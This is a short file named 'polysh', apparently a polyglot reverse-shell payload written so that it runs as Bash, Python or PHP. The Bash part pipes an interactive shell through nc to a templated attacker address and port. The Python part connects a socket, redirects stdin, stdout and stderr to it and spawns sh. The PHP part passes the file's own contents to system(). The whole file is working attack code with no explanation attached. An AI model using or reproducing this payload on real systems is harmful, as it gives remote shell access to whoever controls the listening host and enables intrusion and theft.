polysh/polysh

20 lines
372 B
Plaintext

# BASH
"declare" "tmpdir=$(mktemp -u)"
"mkfifo" "$tmpdir"
"bash" "-c" "cat $tmpdir|sh -i 2>&1|nc {{{ADDR}}} {{{PORT}}} >$tmpdir"
"exit" "1"
# PYTHON
import sys, socket, os, pty
s=socket.socket()
s.connect(("{{{ADDR}}}", {{{PORT}}}))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn("sh")
"""
# PHP
<?php
system(file_get_contents($_SERVER['SCRIPT_NAME']));
?>
"""